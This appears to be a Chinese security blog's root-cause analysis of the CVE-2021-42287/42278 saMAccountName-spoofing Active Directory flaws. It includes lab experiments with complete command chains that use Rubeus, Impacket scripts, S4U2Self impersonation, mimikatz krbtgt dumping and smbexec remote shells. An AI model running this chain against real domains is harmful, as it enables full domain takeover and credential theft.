域內最新提權漏洞原理深入分析
漏洞背景和描述
2021年11月9日,微軟發布11月份安全補丁更新。在該安全補丁更新中,修復了兩個域內提權漏洞CVE-2021-42287/CVE-2021-42278。但是當時這兩個漏洞的利用詳情和POC并未公布出來,因此并未受到太多人關注。


傳送門:https://msrc.microsoft.com/update-guide/zh-cn/vulnerability/CVE-2021-42278
https://msrc.microsoft.com/update-guide/zh-cn/vulnerability/CVE-2021-42287
一個月后的12.10日,國外安全研究員公布了針對CVE-2021-42287/CVE-2021-42278的漏洞細節,并且exp也很快被放出來了。至此,這個最新的域內提權漏洞才受到大家的廣泛關注,該漏洞被命名為saMAccountName spoofing漏洞。該漏洞允許攻擊者在僅有一個普通域賬號的場景下,利用該漏洞接管全域,危害極大。
如下圖,一條命令即可獲得域控的最高權限!

漏洞影響版本
未打補丁的全版本Windows機器
漏洞攻擊鏈原理
我也在第一時間復現了該漏洞,并好奇這個漏洞的原理是什么。首先我找到了微軟對于這個漏洞的補丁描述,傳送門:
[KB5008380-Authentication updates (CVE-2021-42287)]
(https://support.microsoft.com/en-us/topic/kb5008380-authentication-updates-cve-2021-42287-9dafac11-e0d0-4cb8-959a-143bd0201041)
其中最后一句話描述的是在安裝了該補丁的更新后。在以后的Kerberos認證過程中,PAC將會被添加到所有賬戶的TGT認購權證中,即使是那些以前明確拒絕PAC的用戶。

因此我認為的是這個漏洞跟PAC有關,就跟MS14-068一樣,是PAC認證過程產生的漏洞。并且我看很多exp工具直接命名為noPac,網上很多文章也說的是跟PAC有關,再結合微軟對于該補丁的描述,腦中閃現的第一反應是覺得該漏洞產生的主要原因是因為攻擊者在Kerberos認證過程的AS-REQ請求TGT認購權證階段,協商拒絕PAC,導致KDC返回一張不帶有PAC的TGT認購權證。而后結合CVE-2021-42278 Name impersonation漏洞,通過偽造一個與域控名字相同的機器用戶,使得KDC在驗證TGS-REQ的過程中,誤以為請求的客戶端是域控。再由于TGT認購權證中沒有PAC,因此KDC在TGS-REP階段重新生成了一個具有域控高權限的PAC在ST服務票據中,導致權限提升!這一切猜想順理成章!
但是經過后來實驗和分析,發現這個是錯誤的!
我們使用WireShark針對漏洞利用過程進行抓包,抓到如下Kerberos數據包:

前兩個包主要是判斷目標域需不需要預認證,不需關注。
我們來看第三個AS-REQ請求包,按理說,第三個包應該在協商請求中協商不帶有PAC,但是我們打開該包發現,在協商請求中,include-pac參數依然是True。也就是說,這個AS-REQ請求的TGT認購權證中是帶有PAC的!這與之前的猜想有出入!

繼續查看第五個TGS-REQ請求包,在包中發現了pA-FOR-USER字段,該字段是S4U2Self協議特有的。而S4U2Self協議我們只在委派中見過。

我們好奇,為啥在TGS-REQ請求階段使用到了S4U2Self協議呢?按照我們之前的猜想,這個階段應該是直接使用上一步的TGT認購權證請求目標域控的ST服務票據的。但是實際抓包卻不是如此,涉及到了跟委派有關的S4U2Self協議。那么,這個洞會跟委派有關系嗎?
帶著這個疑問,我們進行了以下的分析,讓我們來分析下該漏洞的原理到底是什么?
漏洞核心點
首先,我查看了下網上泄露的XP源代碼,找到了漏洞問題的所在。
通過查看網上泄露的xp源代碼中關于kerberos的處理流程,我們可以清楚的看到漏洞產生的真正核心原因是在處理UserName字段時的錯誤,如下圖代碼:
首先,如果找不到 UserName 的話,KDC會繼續查找 UserName$ 。

如果還是查找不到的話,KDC會繼續查找altSecurityIdentities屬性的值的用戶。

正是因為這個處理邏輯,導致了漏洞的產生!但是光有這個處理邏輯還是不夠形成一個完整的攻擊鏈。還得找到能觸發這個的點,那么如何能讓KDC找不到之前的用戶呢?這里有兩種方式:
- 跨域請求:跨域請求時,目標域活動目錄數據庫是找不到其他域的用戶的,因此會走進這個處理UserName的邏輯。
- 修改saMAccountName屬性:在當前域,可以通過修改saMAccountName屬性讓KDC找不到用戶,然后走進這個處理UserName的邏輯。
但是這還是不夠,僅僅讓KDC走進這個處理UserName的邏輯,還不能偽造高權限。因為票據中代表用戶身份權限是數據塊是PAC。而TGT認購權證中的PAC是根據預認證身份信息生成的,這個我們無法偽造。因此得想辦法在ST服務票據中進行偽造。而正常的ST服務票據中的PAC是直接拷貝TGT認購權證中的。因此,得想辦法讓KDC在TGS-REP的時候重新生成PAC,而不是拷貝TGT票據中的PAC。這里也有兩種方式:
- S4U2Self請求:KDC在處理S4U2Self類型的TGS-REQ請求時,PAC是重新生成的。
- 跨域無PAC的TGT票據進行TGS請求:KDC在處理跨域的TGS-REQ請求時,如果攜帶的TGT認購權證中沒有PAC,PAC會重新生成。
好了,現在有了一個完整的攻擊鏈了!
接下來讓我們來看看什么是PAC?以及S4U2Self請求和跨域無PAC的TGT票據的TGS請求時PAC的處理。
PAC特權屬性證書
我們先來看看PAC是什么?
PAC (Privilege Attribute Certificate,特權屬性證書),其中所包含的是各種授權信息,例如用戶RID,所屬組的RID等。在最初的RFC1510中規定的標準Kerberos認證過程中并沒有PAC,微軟在自己的產品中所實現的Kerberos流程加入了PAC的概念,因為在域中不同權限的用戶能夠訪問的資源是不同的,因此微軟設計PAC用來辨別用戶身份和權限。
PANTONE
PAC結構
PAC的頂部結構如下:
typedef unsigned long ULONG;
typedef unsigned short USHORT;
typedef unsigned long64 ULONG64;
typedef unsigned char UCHAR;
typedef struct _PACTYPE {
ULONG cBuffers;
ULONG Version;
PAC_INFO_BUFFER Buffers[1];
} PACTYPE;
這些頂部字段的定義如下:
- cBuffers:包含數組緩沖區中的條目數。
- Version:版本
- Buffers:包含一個PAC_INFO_BUFFER結構的數組。

而PAC_INFO_BUFFER結構包含了關于PAC的每個部分的信息,這部分是最重要的,結構如下:
typedef struct _PAC_INFO_BUFFER {
ULONG ulType;
ULONG cbBufferSize;
ULONG64 Offset;
} PAC_INFO_BUFFER;
類型字段的定義如下:
-ulType:包含此緩沖區中包含的數據的類型。它可能是以下之一:
- - Logon Info (1)
- Client Info Type(10)
- - UPN DNS Info (12)
- Sserver Cechksum (6)
- - Privsvr Cechksum (7)
- cbBufferSize:緩沖大小
- Offset:緩沖偏移量
如下圖:

PANTONE
PAC憑證信息
LOGON INFO類型的PAC_LOGON_INFO包含Kerberos票據客戶端的憑據信息。數據本身包含在一個KERB_VALIDATION_INFO結構中,該結構是由NDR編碼的。NDR編碼的輸出被放置在LOGON INFO類型的PAC_INFO_BUFFER結構中。如下:
typedef struct _KERB_VALIDATION_INFO {
FILETIME Reserved0;
FILETIME Reserved1;
FILETIME KickOffTime;
FILETIME Reserved2;
FILETIME Reserved3;
FILETIME Reserved4;
UNICODE_STRING Reserved5;
UNICODE_STRING Reserved6;
UNICODE_STRING Reserved7;
UNICODE_STRING Reserved8;
UNICODE_STRING Reserved9;
UNICODE_STRING Reserved10;
USHORT Reserved11;
USHORT Reserved12;
ULONG UserId;
ULONG PrimaryGroupId;
ULONG GroupCount;
[size_is(GroupCount)] PGROUP_MEMBERSHIP GroupIds;
ULONG UserFlags;
ULONG Reserved13[4];
UNICODE_STRING Reserved14;
UNICODE_STRING Reserved15;
PSID LogonDomainId;
ULONG Reserved16[2];
ULONG Reserved17;
ULONG Reserved18[7];
ULONG SidCount;
[size_is(SidCount)] PKERB_SID_AND_ATTRIBUTES ExtraSids;
PSID ResourceGroupDomainSid;
ULONG ResourceGroupCount;
[size_is(ResourceGroupCount)] PGROUP_MEMBERSHIP ResourceGroupIds;
} KERB_VALIDATION_INFO;
如下圖,主要還是關注以下幾個字段:
- Acct Name:該字段對應的值是用戶sAMAccountName屬性的值
- Full Name:該字段對應的值是用戶displayName屬性的值
- User RID:該字段對應的值是用戶的RID,也就是用戶SID的最后部分
- Group RID:對于該字段,域用戶的Group RID恒為513(也就是Domain Users的RID),機器用戶的Group RID恒為515(也就是Domain Computers的RID)
- Num RIDS:用戶所屬組的個數
- GroupIDS:用戶所屬的所有組的RID

PANTONE
PAC Request Pre-Auth Data
通常,PAC包含在從AS請求收到的每個經過預認證的票據中。然而,客戶端也可以明確地請求包括或不包括PAC。這是通過發送PAC請求預審數據來完成的。
KERB-PA-PAC-REQUEST ::= SEQUENCE {
include-pac[0] BOOLEAN -- if TRUE, and no pac present,
-- include PAC.
---If FALSE, and pac
-- PAC present, remove PAC
}
這個字段表示是否應該包含一個PAC。如果該值為TRUE,則返回的票據中包含PAC。如果該值為FALSE,則返回的票據中不包含PAC。
也就是說,客戶端確實可以通過指定字段來值來要求KDC在返回的票據中是否包含PAC。

PANTONE
正常Kerberos流程中的PAC
要想理解下面這部分,首先需要熟悉Kerberos協議的整個流程。但是這里我只闡述Kerberos認證過程中與PAC有關的部分。如果想更詳細系統的學習Kerberos協議的話,可以關注我馬上將要出版的書籍《域滲透實戰攻防》!
在一個正常的Kerberos認證流程中,KDC返回的TGT認購權證和ST服務票據中都是帶有PAC的。如下圖是AS-REQ&AS-REP過程,可以清楚的看到,KDC的AS-REP消息中,PAC是包含在TGT認購權證中的。

那么,TGT認購權證中這個PAC是如何生成的呢?
KDC在收到客戶端發來的AS-REQ請求后,從請求中取出cname字段,然后查詢活動目錄數據庫,找到sAMAccountName屬性為cname字段的值的用戶,用該用戶的身份生成一個對應的PAC。
接下來,在TGS-REQ&TGS-REP請求ST服務票據的過程中,客戶端帶著上一步請求到的TGT認購權證請求訪問指定服務的ST服務票據。KDC在驗證客戶端的身份后,會返回ST服務票據。如下圖是TGS-REQ&TGS-REP過程,可以清楚的看到,KDC的TGS-REP消息中,PAC是包含在ST服務票據中的。

那么,ST服務票據中這個PAC是如何生成的呢?
KDC收到TGT認購權證后,利用krbtgt密鑰對其解密,然后取出PAC。然后驗證PAC的簽名,如果簽名正確,則證明PAC未經過篡改。然后將TGT認購權證中的PAC直接拷貝到ST服務票據中。也就是說,ST服務票據中的PAC和TGT認購權證中的PAC是一致的。(但是這只是正常的TGS-REQ請求,如果是S4u2Self&S4u2Proxy請求的話,ST服務票據中的PAC是重新生成的,請看下文)
這個流程我們可以從網上泄露的xp源代碼中看到:

當然,如果TGT認購權證中沒有PAC的話,KDC在拷貝PAC的時候,也是拷貝的空的,這就意味著ST服務票據中也沒有PAC!
后續服務端收到客戶端發來的ST服務票據后,會用服務密鑰對其進行解密,取出PAC里面關于用戶的信息生成對應權限的訪問令牌,然后對比服務的ACL進行鑒權。有權限訪問的話,則返回該服務。無權限訪問的話,則不返回服務。
以上就是正常的Kerberos認證過程中的PAC。
通過下面實驗一、二、三可以驗證我們的這個結論。
官方:[[MS-PAC\]: Privilege Attribute Certificate Data Structure(https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/166d8064-c863-41e1-9c23-edaaa5f36962)
S4U2Self協議
為了在Kerberos協議層面對委派的支持,微軟對Kerberos協議擴展了兩個自協議 S4u2self(Service for User to Self) 和 S4u2Proxy (Service for User to Proxy )。S4u2self 可以代表任意用戶請求針對自身的ST服務票據;S4u2Proxy可以用上一步獲得的ST服務票據以用戶的名義請求針對其它指定服務的ST服務票據。這里我們著重來看看S4u2self協議。
S4u2self 可以代表任意用戶請求針對自身的ST服務票據。當用戶以其他方式:如NTLM認證、基于表單的認證等方式與Web服務進行認證后,用戶是無法向Web服務器提供請求該服務的ST服務票據。因而服務器也無法進一步使用S4U2Proxy協議請求訪問其他服務。S4U2Self協議便是解決該問題的方案,被配置為約束性委派的服務賬號能夠調用S4U2Self協議向KDC申請為任意用戶請求訪問自身的ST服務票據。
官方:[[MS-SFU\]: Kerberos Protocol Extensions: Service for User and Constrained Delegation Protocol](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/3bff5864-8135-400e-bdd9-33b552051d94)
如下圖是使用 S4U2Self協議請求ST服務票據。

注:雖然S4U2Self協議允許服務代表用戶向KDC請求一張訪問自身服務的ST服務票據,但是此協議擴展不允許服務代表用戶向KDC請求訪問其他服務的ST服務票據。
PANTONE
KDC收到S4u2self TGS-REQ后PAC的處理
KDC收到客戶端發來的TGS-REQ S4U2Self協議,在驗證了客戶端是否具有發起S4U2Self協議權限后,會根據S4U2Self協議中模擬的用戶生成對于權限的PAC,然后放在ST服務票據中,并不會復用TGT認購權證中的PAC!

官方:[KDC Receives S4U2self KRB_TGS_REQ](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/c98bade9-cad1-4745-bd4d-d13926103022)
跨域TGS請求
通過查看網上泄露的xp源代碼可以看到如下。如果請求的TGT票據沒有PAC的話,如果是當前域的請求,則ST服務票據也沒有PAC。如果是其他域的話,則會重新生成一個PAC!

實驗
接下來我們做幾個實驗驗證我們的結論。以下實驗采用的是控制變量法,即每次測試環境只變化一個變量。
1:使用低權限用戶正常Kerberos認證訪問服務
如下,提供低權限普通域用戶hack正確的賬號密碼,進行一次正常的Kerberos認證,然后請求相應的服務,看能否利用低權限hack用戶訪問高權限服務。
#以域管理員身份請求正常的TGT認購權證
Rubeus.exe asktgt /user:"hack" /password:"P@ss1234" /domain:"xie.com" /dc:"AD01.xie.com" /nowrap /ptt
#用該正常的TGT認購權證請求訪問ad01.xie.com的ldap服務
Rubeus.exe asktgs /service:"ldap/ad01.xie.com" /nowrap /ptt /ticket:上一步請求的TGT票據
#導出krbtgt用戶的哈希
mimikatz.exe "lsadump::dcsync /domain:xie.com /user:krbtgt /csv" "exit"
如下圖,用hack身份請求一個TGT認購權證,該TGT認購權證中包含PAC。

接著用該包含PAC的TGT認購權證請求ldap/ad01.xie.com的ST服務票據,可以看到返回了一個帶有PAC的ST服務票據并導入到內存中。

最后嘗試訪問指定高權限服務,發現失敗!很正常,也在我們意料之中。

我們在利用過程中使用wireshark抓包,并對kerberos認證流量的加密部分進行解密,如下圖,我們首先來看AS-REP回復包中TGT認購權證中的PAC,可以看到User RID為1154、Group RID為513。

TGS-REP回復包中ST服務票據中的PAC,可以看到User RID為1154、Group RID為513。

而RID為1154的用戶就是hack,RDI為513的組為Domain Users。


這和我們的認知是一樣的,ST服務票據中的PAC是直接復用的TGT認購權證,因此ST服務票據中的PAC對應的還是低權限的hack,因此無法訪問高權限服務。
2:使用高權限用戶正常Kerberos認證訪問服務
如下,提供高權限域管理員用戶administrator正確的賬號密碼,進行一次正常的Kerberos認證,然后請求相應的服務,訪問高權限服務。
#以域管理員身份請求正常的TGT認購權證
Rubeus.exe asktgt /user:"administrator" /password:"P@ssword1234" /domain:"xie.com" /dc:"AD01.xie.com" /nowrap /ptt
#用該正常的TGT認購權證請求訪問ad01.xie.com的ldap服務
Rubeus.exe asktgs /service:"ldap/ad01.xie.com" /nowrap /ptt /ticket:上一步請求的TGT票據
如下圖,用administrator身份請求一個TGT認購權證,該TGT認購權證中包含PAC。

接著用該包含PAC的TGT認購權證請求ldap/ad01.xie.com的ST服務票據,可以看到返回了一個帶有PAC的ST服務票據并導入到內存中。

最后嘗試訪問指定高權限服務,訪問成功!很正常,也在我們意料之中。
#導出krbtgt用戶的哈希
mimikatz.exe "lsadump::dcsync /domain:xie.com /user:krbtgt /csv" "exit"

我們在利用過程中使用wireshark抓包,并對kerberos認證流量的加密部分進行解密,如下圖,我們首先來看AS-REP回復包中TGT認購權證中的PAC,可以看到User RID為500、Group RID為513。

TGS-REP回復包中ST服務票據中的PAC,可以看到User RID為500、Group RID為513。

而RID為500的用戶就是administrator,RDI為513的組為Domain Users。


這和我們的認知是一樣的,ST服務票據中的PAC是直接復用的TGT認購權證,因此ST服務票據中的PAC對應的還是高權限的administrator,因此可以訪問高權限服務。
3:使用高權限用戶kerberos認證,TGT階段請求不要PAC
接下來,我們測試下,提供高權限域管理員administrator正確的賬號密碼,在正常的Kerberos流程的AS-REQ階段,請求不帶有PAC的TGT認購權證,然后請求相應的服務,看看結果如何?
#以域管理員身份請求不帶PAC的TGT認購權證
Rubeus.exe asktgt /user:"administrator" /password:"P@ssword1234" /domain:"xie.com" /dc:"AD01.xie.com" /nowrap /ptt /nopac
#用該不帶PAC的TGT認購權證請求訪問cifs/ad01.xie.com服務
Rubeus.exe asktgs /service:"ldap/ad01.xie.com" /nowrap /ptt /ticket:上一步請求的TGT票據
如下圖,用administrator身份請求一個不帶有PAC的TGT認購權證,可以看到打印出來的TGT認購權證小了好多,主要是因為少了PAC。

然后用該不帶PAC的TGT認購權證請求ldap/ad01.xie.com的ST服務票據,可以看到返回的ST服務票據也不帶有PAC,大小小了好多。

此時使用這個不帶PAC的ST服務票據請求訪問服務,被拒絕。因為KDC不知道用戶的權限。

可以看到AS-REP和TGS-REP返回的票據中都沒有authorization-data部分,自然也就沒有PAC。


這也和我們的認知是是一樣的,TGT認購權證中沒有PAC的話,同域請求ST服務票據中也是沒有PAC的。因此,即使是使用administrator身份請求的票據,由于沒有PAC代表其身份,也無法訪問高權限服務!
4:修改saMAccountName屬性正常TGS-REQ不帶PAC
首先創建一個機器用戶machine$,然后將其saMAccountName屬性設置為域控機器名AD01。接著用該帳戶請求一張不帶有PAC的TGT認購權證。再將該機器用戶的saMAccountName屬性還原,然后用該不帶有PAC的TGT認購權證請求這個訪問域控AD01指定的服務,看是否能訪問。
#創建機器用戶machine$
python3 addcomputer.py -computer-name 'machine' -computer-pass 'root' -dc-ip 10.211.55.4 'xie.com/hack:P@ss1234' -method SAMR -debug
##將機器用戶machine的saMAccountName屬性修改為AD01
python3 renameMachine.py -current-name 'machine$' -new-name 'AD01' -dc-ip AD01.xie.com xie.com/hack:P@ss1234
#請求不帶有PAC的TGT認購權證
Rubeus.exe asktgt /user:"AD01" /password:"root" /domain:"xie.com" /dc:"AD01.xie.com" /nowrap /ptt /nopac
#將機器用戶machine的saMAccountName屬性恢復為machine$
python3 renameMachine.py -current-name 'AD01' -new-name 'machine$' -dc-ip AD01.xie.com xie.com/hack:P@ss1234
#用這個不帶有PAC的TGT認購權證,請求ldap/ad01.xie.com的ST服務票據
Rubeus.exe asktgs /service:"ldap/ad01.xie.com" /nowrap /ptt /ticket:上一步不帶PAC的TGT認購權證
#使用mimikatz的dcsync功能看能否成功訪問
mimikatz.exe "lsadump::dcsync /domain:xie.com /user:krbtgt /csv" "exit"
首先創建機器用戶machine$,然后修改機器用戶machine$的saMAccountName屬性為AD01。

然后用該機器用戶請求一張不帶有PAC的TGT認購權證,如下圖,沒有PAC大小小了很多。

接著將機器用戶machine$的saMAccountName屬性還原。

然后用該不帶PAC的TGT認購權證請求訪問ad01.xie.com的ldap服務。此時還是返回不帶有PAC的ST服務票據。

即使將該不帶PAC的ST服務票據導入內存中,也無法訪問指定服務。

這其實是最初猜想的攻擊方式,也是網上很多文章說的漏洞原理。但是事實卻不是這樣。仔細想想,只要TGT票據中不帶有PAC,不管是用什么用戶請求的票據,ST服務票據中也不會帶有PAC。因此也就沒有權限訪問任何服務!
5:修改saMAccountName屬性正常TGS-REQ帶PAC
首先創建一個機器用戶machine$,然后將其saMAccountName屬性為ad01。請求一張帶有PAC的正常的TGT認購權證。再將該機器用戶的saMAccountName屬性還原,然后用帶有PAC的TGT票據請求這個訪問域控ad01指定的服務,看是否能訪問。
#創建機器用戶machine$
python3 addcomputer.py -computer-name 'machine' -computer-pass 'root' -dc-ip 10.211.55.4 'xie.com/hack:P@ss1234' -method SAMR -debug
##將機器用戶machine的saMAccountName屬性修改為AD01
python3 renameMachine.py -current-name 'machine$' -new-name 'AD01' -dc-ip AD01.xie.com xie.com/hack:P@ss1234
#請求帶有PAC的正常的TGT認購權證
Rubeus.exe asktgt /user:"AD01" /password:"root" /domain:"xie.com" /dc:"AD01.xie.com" /nowrap /ptt
#將機器用戶machine的saMAccountName屬性恢復為machine$
python3 renameMachine.py -current-name 'AD01' -new-name 'machine$' -dc-ip AD01.xie.com xie.com/hack:P@ss1234
#用這個帶有PAC的正常的TGT認購權證,請求ldap/ad01.xie.com的ST服務票據
Rubeus.exe asktgs /service:"ldap/ad01.xie.com" /nowrap /ptt /ticket:上一步帶PAC的TGT認購權證
#使用mimikatz的dcsync功能看能否成功訪問
mimikatz.exe "lsadump::dcsync /domain:xie.com /user:krbtgt /csv" "exit"
首先創建機器用戶machine$,然后修改機器用戶machine$的saMAccountName屬性為AD01。

然后用該機器用戶請求一張帶有PAC的正常的TGT認購權證。

接著將機器用戶machine$的saMAccountName屬性還原。

然后用這個帶PAC的正常的TGT認購權證請求訪問ad01.xie.com的ldap服務。此時返回帶有PAC的正常的ST服務票據。

將該帶PAC的ST服務票據導入內存中,也無法訪問指定服務。

我們在利用過程中使用wireshark抓包,并對kerberos認證流量的加密部分進行解密。我們發現,在TGT認購權證和ST服務票據中的PAC是一致的,User RID為1159、Group RID為515。

而RID為1159的用戶就是machine機器用戶,RDI為515的組為Domain Computers。


這確實與我們的認知是一樣的,在AS-REP階段生成的PAC是從AS-REQ中取出的cname字段,然后查詢活動目錄數據庫,找到sAMAccountName屬性為cname字段的值的用戶,用該用戶的身份生成一個對應的PAC。此時生成的是machine$機器用戶的PAC。后來在TGS-REP階段的PAC是直接復制的AS-REP階段的PAC。因此,不管machine$機器用戶的saMAccountName屬性如何修改,ST服務票據中的PAC依然是machine$機器用戶的!
6:S4U2Self帶PAC(exp)
這是域內利用真正的攻擊過程!
首先創建一個機器用戶machine$,然后將其saMAccountName屬性為ad01。請求一張帶有PAC的正常的TGT認購權證。再將該機器用戶的saMAccountName屬性還原,然后用帶有PAC的TGT認購權證利用S4u2Self協議請求訪問ldap/AD01.xie.com的ST服務票據。
#創建機器用戶machine$
python3 addcomputer.py -computer-name 'machine' -computer-pass 'root' -dc-ip 10.211.55.4 'xie.com/hack:P@ss1234' -method SAMR -debug
##將機器用戶machine的saMAccountName屬性修改為AD01
python3 renameMachine.py -current-name 'machine$' -new-name 'AD01' -dc-ip AD01.xie.com xie.com/hack:P@ss1234
#請求帶有PAC的正常的TGT認購權證
Rubeus.exe asktgt /user:"AD01" /password:"root" /domain:"xie.com" /dc:"AD01.xie.com" /nowrap /ptt
#將機器用戶machine的saMAccountName屬性恢復為machine$
python3 renameMachine.py -current-name 'AD01' -new-name 'machine$' -dc-ip AD01.xie.com xie.com/hack:P@ss1234
#用這個帶有PAC的正常的TGT認購權證,利用S4u2Self協議請求訪問ldap/AD01.xie.com的ST服務票據。
Rubeus.exe s4u /self /impersonateuser:"administrator" /altservice:"ldap/AD01.xie.com" /dc:"AD01.xie.com" /ptt /ticket:上一步帶PAC的TGT認購權證
#使用mimikatz的dcsync功能看能否成功訪問
mimikatz.exe "lsadump::dcsync /domain:xie.com /user:krbtgt /csv" "exit"
首先創建機器用戶machine$,然后修改機器用戶machine$的saMAccountName屬性為ad01。

然后用該機器用戶請求一張帶有PAC的正常的TGT認購權證。

接著將機器用戶machine$的saMAccountName屬性還原。

然后用這個帶PAC的正常的TGT認購權證利用S4u2Self協議請求訪問ldap/AD01.xie.com的ST服務票據,并且將票據導入內存中

可以看到執行高權限操作成功!

這是真正的域內攻擊利用過程。當發起S4u2Self請求是,KDC會重新生成PAC。而此時我們修改了機器用戶的saMAccountName屬性,導致KDC找不到用戶,因此會查找AD01$,此時找到了域控。域控利用S4u2Self協議模擬域管理員訪問自身的SPN服務,這是正常的。因此返回一張具有管理員權限訪問域控服務的ST服務票據。
7:S4U2Self不帶PAC
首先創建一個機器用戶machine$,然后將其saMAccountName屬性為ad01。然后請求一張不帶有PAC的TGT認購權證。再將該機器用戶的saMAccountName屬性還原,然后用該不帶有PAC的TGT認購權證利用S4u2Self協議請求訪問ldap/AD01.xie.com的ST服務票據,看看結果如何!
#創建機器用戶machine$
python3 addcomputer.py -computer-name 'machine' -computer-pass 'root' -dc-ip 10.211.55.4 'xie.com/hack:P@ss1234' -method SAMR -debug
##將機器用戶machine的saMAccountName屬性修改為AD01
python3 renameMachine.py -current-name 'machine$' -new-name 'AD01' -dc-ip AD01.xie.com xie.com/hack:P@ss1234
#請求不帶有PAC的TGT認購權證
Rubeus.exe asktgt /user:"AD01" /password:"root" /domain:"xie.com" /dc:"AD01.xie.com" /nowrap /ptt /nopac
#將機器用戶machine的saMAccountName屬性恢復為machine$
python3 renameMachine.py -current-name 'AD01' -new-name 'machine$' -dc-ip AD01.xie.com xie.com/hack:P@ss1234
#用這個不帶有PAC的TGT認購權證,利用S4u2Self協議請求訪問ldap/AD01.xie.com的ST服務票據。
Rubeus.exe s4u /self /impersonateuser:"administrator" /altservice:"ldap/AD01.xie.com" /dc:"AD01.xie.com" /ptt /ticket:上一步帶PAC的TGT認購權證
#使用mimikatz的dcsync功能看能否成功訪問
mimikatz.exe "lsadump::dcsync /domain:xie.com /user:krbtgt /csv" "exit"
首先創建機器用戶machine$,然后修改機器用戶machine$的saMAccountName屬性為ad01。

然后用該機器用戶請求一張不帶有PAC的TGT認購權證。

接著將機器用戶machine$的saMAccountName屬性還原。

然后用這個不帶PAC的TGT認購權證利用S4u2Self協議請求訪問ldap/AD01.xie.com的ST服務票據,可以看到報錯KRB_ERR_GENERIC!!

這主要是因為S4u2Self階段KDC無法驗證客戶端的身份。因為KDC無法從TGT認購權證中取出PAC,因此返回KRB_ERR_GENERIC錯誤。
8:S4U2Self帶PAC不還原saMAccountName屬性
首先創建一個機器用戶machine$,然后將其saMAccountName屬性為ad01。請求一張帶有PAC的正常的TGT認購權證。此時不將該機器用戶的saMAccountName屬性還原,然后用該不帶有PAC的TGT認購權證利用S4u2Self協議請求訪問ldap/AD01.xie.com的ST服務票據。
#新建機器用戶machine,密碼為root
python3 addcomputer.py -computer-name 'machine' -computer-pass 'root' -dc-ip 10.211.55.4 'xie.com/hack:P@ss1234' -method SAMR
#將機器用戶machine的saMAccountName屬性修改為AD01
python3 renameMachine.py -current-name 'machine$' -new-name 'AD01' -dc-ip AD01.xie.com xie.com/hack:P@ss1234
#以machine用戶身份請求TGT認購權證,用戶名為saMAccountName屬性值
python3 getTGT.py -dc-ip AD01.xie.com xie/ad01:root
#導入TGT認購權證
export KRB5CCNAME=ad01.ccache
#用上一步的TGT認購權證,以administrator的身份請求訪問ad01.xie.com的cifs服務
python3 getST.py -spn cifs/ad01.xie.com xie/ad01@10.211.55.4 -no-pass -k -dc-ip 10.211.55.4 -impersonate administrator -self
如下圖,在請求ST服務票據的過程中提示如下錯誤。
[-] Kerberos SessionError: KRB_AP_ERR_BADMATCH(Ticket and authenticator don't match)

這也在意料之中,主要是因為如果不還原saMAccountName屬性的話,KDC在S4U2Self階段就能正常找到AD01用戶。而此時cifs/ad01.xie.com是域控AD01$的SPN。因此使用AD01賬號模擬administrator身份請求一個域控AD01$的SPN是肯定報錯的,AD01用戶只能利用S4U2Self協議模擬任意用戶訪問自身的SPN!
如下可以看到,機器用戶只能利用S4U2Self協議訪問自身的SPN服務。
#win10機器用戶模擬任意用戶訪問自身的SPN cifs/win10.xie.com
python3 getST.py -spn cifs/win10.xie.com -dc-ip AD01.xie.com xie.com/win10\$ -hashes aad3b435b51404eeaad3b435b51404ee:3db5e5e43b3b260de0b058d9b82523fe -impersonate administrator -self
#win10機器用戶模擬默認任意用戶訪問其他的SPN,如cifs/mail.xie.com
python3 getST.py -spn cifs/mail.xie.com -dc-ip AD01.xie.com xie.com/win10\$ -hashes aad3b435b51404eeaad3b435b51404ee:3db5e5e43b3b260de0b058d9b82523fe -impersonate administrator -self
如下,域內機器win10$可以利用S4U2Self協議模擬任意用戶訪問自身的SPN cifs/win10.xie.com,但是無法模擬任意用戶訪問其他的SPN,如cifs/mail.xie.com,可以看到報錯是一樣的!

9:攻擊域內其他機器
首先創建一個機器用戶machine$,然后將其saMAccountName屬性為win10。請求一張帶有PAC的正常的TGT認購權證。再將該機器用戶的saMAccountName屬性還原,然后用該帶有PAC的TGT認購權證利用S4u2Self協議請求訪問cifs/win10.xie.com的ST服務票據。
#創建機器用戶machine$
python3 addcomputer.py -computer-name 'machine' -computer-pass 'root' -dc-ip 10.211.55.4 'xie.com/hack:P@ss1234' -method SAMR -debug
##將機器用戶machine的saMAccountName屬性修改為win10
python3 renameMachine.py -current-name 'machine$' -new-name 'win10' -dc-ip AD01.xie.com xie.com/hack:P@ss1234
#請求帶有PAC的正常的TGT認購權證
python3 getTGT.py -dc-ip AD01.xie.com xie/win10:root
#導入TGT認購權證
export KRB5CCNAME=win10.ccache
#將機器用戶machine的saMAccountName屬性恢復為machine$
python3 renameMachine.py -current-name 'win10' -new-name 'machine$' -dc-ip AD01.xie.com xie.com/hack:P@ss1234
#用這個帶有PAC的正常的TGT認購權證,利用S4u2Self協議請求訪問cifs/win10.xie.com的ST服務票據。
python3 getST.py -spn cifs/win10.xie.com xie/win10@10.211.55.4 -no-pass -k -dc-ip 10.211.55.4 -impersonate administrator -self
#導入ST服務票據
export KRB5CCNAME=administrator.ccache
#遠程連接win10
python3 smbexec.py -no-pass -k win10.xie.com
首先創建機器用戶machine$,然后修改機器用戶machine$的saMAccountName屬性為MAIL。

然后用該機器用戶請求一張帶有PAC的正常的TGT認購權證

接著將機器用戶machine$ 的saMAccountName屬性還原。

然后用這個帶PAC的正常的TGT認購權證利用S4u2Self協議請求訪問ldap/AD01.xie.com的ST服務票據,并且將票據導入內存中

然后遠程連接win10,可以看到連接成功!

從這個實驗我們可以看到,KDC并不會校驗發起S4u2Self請求的賬號是否具有權限發起S4u2Self,其實這也是saMAccountName spoofing漏洞能成功的原因。因為原則上來說,KDC應該校驗發起S4u2Self請求的賬號是否配置了約束性委派或者基于資源的約束性委派,而KDC卻是在S4u2Proxy里進行校驗的。
10:攻擊域用戶
可能很多人會問了,既然針對機器用戶可以修改saMAccountName屬性來假冒域控。那么,針對普通域用戶能否修改saMAccountName屬性來假冒域控從而發起攻擊呢?
答案是可以的!
但是在實際場景中,默認情況下,只有域管理員等域內高權限用戶有權修改普通域用戶的saMAccountName屬性,因此針對域用戶的攻擊在實際場景中意義不大。
我們可以做個小實驗來驗證這一點。
如下有普通域用戶hack,密碼為P@ss1234。以下是針對普通域用戶hack來發起攻擊,在修改saMAccountName屬性時使用的是域管理員權限去修改!
